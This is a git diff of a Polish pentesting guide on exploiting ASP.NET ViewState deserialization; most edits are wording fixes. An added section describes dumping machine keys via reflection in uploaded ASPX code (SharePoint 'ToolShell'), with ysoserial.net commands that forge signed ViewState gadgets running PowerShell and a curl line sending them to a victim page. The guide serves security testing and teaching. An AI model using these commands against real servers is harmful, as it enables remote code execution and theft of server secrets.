diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 99c64522b..dd4f19549 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -6,7 +6,7 @@ ## Czym jest ViewState -**ViewState** służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości, które mają być zachowane podczas postbacku, są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState. +**ViewState** służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości do zachowania podczas postbacku są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState. Informacje o ViewState można scharakteryzować przez następujące właściwości lub ich kombinacje: @@ -21,10 +21,10 @@ Informacje o ViewState można scharakteryzować przez następujące właściwoś Obrazek to tabela szczegółowo opisująca różne konfiguracje dla ViewState w ASP.NET w zależności od wersji frameworka .NET. Oto podsumowanie treści: -1. Dla **wszystkich wersji .NET**, gdy zarówno MAC, jak i szyfrowanie są wyłączone, MachineKey nie jest wymagany, a zatem nie ma zastosowanej metody do jego identyfikacji. +1. Dla **dowolnej wersji .NET**, gdy zarówno MAC, jak i szyfrowanie są wyłączone, MachineKey nie jest wymagany, a zatem nie ma zastosowanej metody do jego identyfikacji. 2. Dla **wersji poniżej 4.5**, jeśli MAC jest włączony, ale szyfrowanie nie, wymagany jest MachineKey. Metoda identyfikacji MachineKey nazywa się "Blacklist3r." 3. Dla **wersji poniżej 4.5**, niezależnie od tego, czy MAC jest włączony, czy wyłączony, jeśli szyfrowanie jest włączone, wymagany jest MachineKey. Identyfikacja MachineKey to zadanie dla "Blacklist3r - Future Development." -4. Dla **wersji 4.5 i wyższych**, wszystkie kombinacje MAC i szyfrowania (czy obie są true, czy jedna jest true, a druga false) wymagają MachineKey. MachineKey można zidentyfikować za pomocą "Blacklist3r." +4. Dla **wersji 4.5 i wyższych**, wszystkie kombinacje MAC i szyfrowania (czy to obie są true, czy jedna jest true, a druga false) wymagają MachineKey. MachineKey można zidentyfikować za pomocą "Blacklist3r." ### Przypadek testowy: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false @@ -40,8 +40,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ``` ### Test case 1.5 – Jak Test case 1, ale ciasteczko ViewState nie jest wysyłane przez serwer -Programiści mogą **usunąć ViewState** z stania się częścią żądania HTTP (użytkownik nie otrzyma tego ciasteczka).\ -Można założyć, że jeśli **ViewState** jest **nieobecny**, ich implementacja jest **bezpieczna** przed wszelkimi potencjalnymi lukami związanymi z deserializacją ViewState.\ +Programiści mogą **usunąć ViewState** z żądania HTTP (użytkownik nie otrzyma tego ciasteczka).\ +Można założyć, że jeśli **ViewState** jest **nieobecny**, ich implementacja jest **bezpieczna** przed potencjalnymi lukami związanymi z deserializacją ViewState.\ Jednak nie jest to prawda. Jeśli **dodamy parametr ViewState** do ciała żądania i wyślemy nasz zserializowany ładunek stworzony za pomocą ysoserial, nadal będziemy w stanie osiągnąć **wykonanie kodu**, jak pokazano w **Przypadku 1**. ### Test Case: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false @@ -108,15 +108,15 @@ W przypadkach, gdy parametr `_VIEWSTATEGENERATOR` **nie jest wysyłany** przez s ``` ### Test Case: 3 – .Net < 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true -W tym przypadku nie wiadomo, czy parametr jest chroniony za pomocą MAC. Wtedy wartość jest prawdopodobnie zaszyfrowana i **będziesz potrzebować klucza maszyny, aby zaszyfrować swój ładunek** w celu wykorzystania luki. +W tym przypadku nie wiadomo, czy parametr jest chroniony za pomocą MAC. Wtedy wartość jest prawdopodobnie zaszyfrowana i **potrzebujesz klucza maszyny, aby zaszyfrować swój ładunek** w celu wykorzystania luki. **W tym przypadku** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **moduł jest w trakcie rozwoju...** **Przed .NET 4.5**, ASP.NET może **akceptować** **niezaszyfrowany** \_`__VIEWSTATE`\_ parametr od użytkowników **nawet** jeśli **`ViewStateEncryptionMode`** został ustawiony na _**Zawsze**_. ASP.NET **sprawdza tylko** **obecność** parametru **`__VIEWSTATEENCRYPTED`** w żądaniu. **Jeśli usuniemy ten parametr i wyślemy niezaszyfrowany ładunek, nadal zostanie on przetworzony.** -Dlatego jeśli atakujący znajdą sposób na uzyskanie klucza maszyny za pomocą innej luki, takiej jak przejście przez pliki, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) polecenie użyte w **Przypadku 2**, może być użyte do przeprowadzenia RCE przy użyciu luki w deserializacji ViewState. +Dlatego jeśli atakujący znajdą sposób na uzyskanie klucza maszyny za pomocą innej luki, takiej jak przejście przez pliki, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) polecenie użyte w **Przypadku 2**, może być użyte do przeprowadzenia RCE przy użyciu luki deserializacji ViewState. -- Usuń parametr `__VIEWSTATEENCRYPTED` z żądania, aby wykorzystać lukę w deserializacji ViewState, w przeciwnym razie zwróci błąd walidacji MAC Viewstate i exploit się nie powiedzie. +- Usuń parametr `__VIEWSTATEENCRYPTED` z żądania, aby wykorzystać lukę deserializacji ViewState, w przeciwnym razie zwróci błąd walidacji MAC Viewstate i exploit się nie powiedzie. ### Test Case: 4 – .Net >= 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true/false z wyjątkiem obu atrybutów ustawionych na false @@ -124,7 +124,7 @@ Możemy wymusić użycie frameworka ASP.NET, określając poniższy parametr w p ```xml ``` -Alternatywnie, można to zrobić, określając poniższą opcję wewnątrz parametru `machineKey` pliku web.config. +Alternatywnie, można to zrobić, określając poniższą opcję wewnątrz parametru `machineKey` w pliku web.config. ```bash compatibilityMode="Framework45" ``` @@ -157,7 +157,7 @@ Jeśli masz wartość `__VIEWSTATEGENERATOR`, możesz spróbować **użyć** par Udane wykorzystanie podatności na deserializację ViewState doprowadzi do żądania out-of-band do serwera kontrolowanego przez atakującego, które zawiera nazwę użytkownika. Tego rodzaju exploit jest demonstrowany w dowodzie koncepcji (PoC), który można znaleźć w zasobie zatytułowanym "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Aby uzyskać dalsze szczegóły na temat tego, jak działa proces eksploatacji i jak wykorzystać narzędzia takie jak Blacklist3r do identyfikacji MachineKey, możesz zapoznać się z dostarczonym [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). -### Test Case 6 – Używana jest ViewStateUserKeys +### Test Case 6 – Używany jest ViewStateUserKeys Właściwość **ViewStateUserKey** może być używana do **obrony** przed **atakiem CSRF**. Jeśli taki klucz został zdefiniowany w aplikacji i próbujemy wygenerować ładunek **ViewState** za pomocą metod omówionych do tej pory, **ładunek nie zostanie przetworzony przez aplikację**.\ Musisz użyć jeszcze jednego parametru, aby poprawnie stworzyć ładunek: @@ -166,16 +166,48 @@ Musisz użyć jeszcze jednego parametru, aby poprawnie stworzyć ładunek: ``` ### Wynik udanej eksploitacji -Wszystkie przypadki testowe, jeśli ładunek ViewState YSoSerial.Net działa **pomyślnie**, serwer odpowiada “**500 Internal server error**” z treścią odpowiedzi “**Informacje o stanie są nieprawidłowe dla tej strony i mogą być uszkodzone**” i otrzymujemy żądanie OOB. +Dla wszystkich przypadków testowych, jeśli ładunek ViewState YSoSerial.Net działa **pomyślnie**, serwer odpowiada “**500 Internal server error**” z treścią odpowiedzi “**Informacje o stanie są nieprawidłowe dla tej strony i mogą być uszkodzone**” i otrzymujemy żądanie OOB. Sprawdź [dalsze informacje tutaj]() -## Odniesienia +### Zrzut kluczy maszyny ASP.NET za pomocą refleksji (SharPyShell/SharePoint ToolShell) + +Atakujący, którzy są w stanie **przesłać lub wykonać dowolny kod ASPX** w katalogu głównym docelowej witryny, mogą bezpośrednio odzyskać tajne klucze, które chronią `__VIEWSTATE`, zamiast próbować je złamać. +Minimalny ładunek, który ujawnia klucze, wykorzystuje wewnętrzne klasy .NET za pomocą refleksji: +```csharp +<%@ Import Namespace="System.Web.Configuration" %> +<%@ Import Namespace="System.Reflection" %> + +``` +Żądanie strony zwraca **ValidationKey**, **DecryptionKey**, algorytm szyfrowania oraz tryb zgodności ASP.NET. Te wartości można teraz bezpośrednio wprowadzić do **ysoserial.net**, aby stworzyć ważny, podpisany gadżet `__VIEWSTATE`: +```bash +ysoserial.exe -p ViewState -g TypeConfuseDelegate \ +-c "powershell -nop -c \"whoami\"" \ +--generator= \ +--validationkey= --validationalg= \ +--decryptionkey= --decryptionalg= \ +--islegacy --minify +curl "http://victim/page.aspx?__VIEWSTATE=" +``` +Ten **prymityw eksfiltracji kluczy** był masowo wykorzystywany przeciwko lokalnym serwerom SharePoint w 2025 roku ("ToolShell" – CVE-2025-53770/53771), ale ma zastosowanie w każdej aplikacji ASP.NET, w której atakujący może uruchomić kod po stronie serwera. + +## References - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) +- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)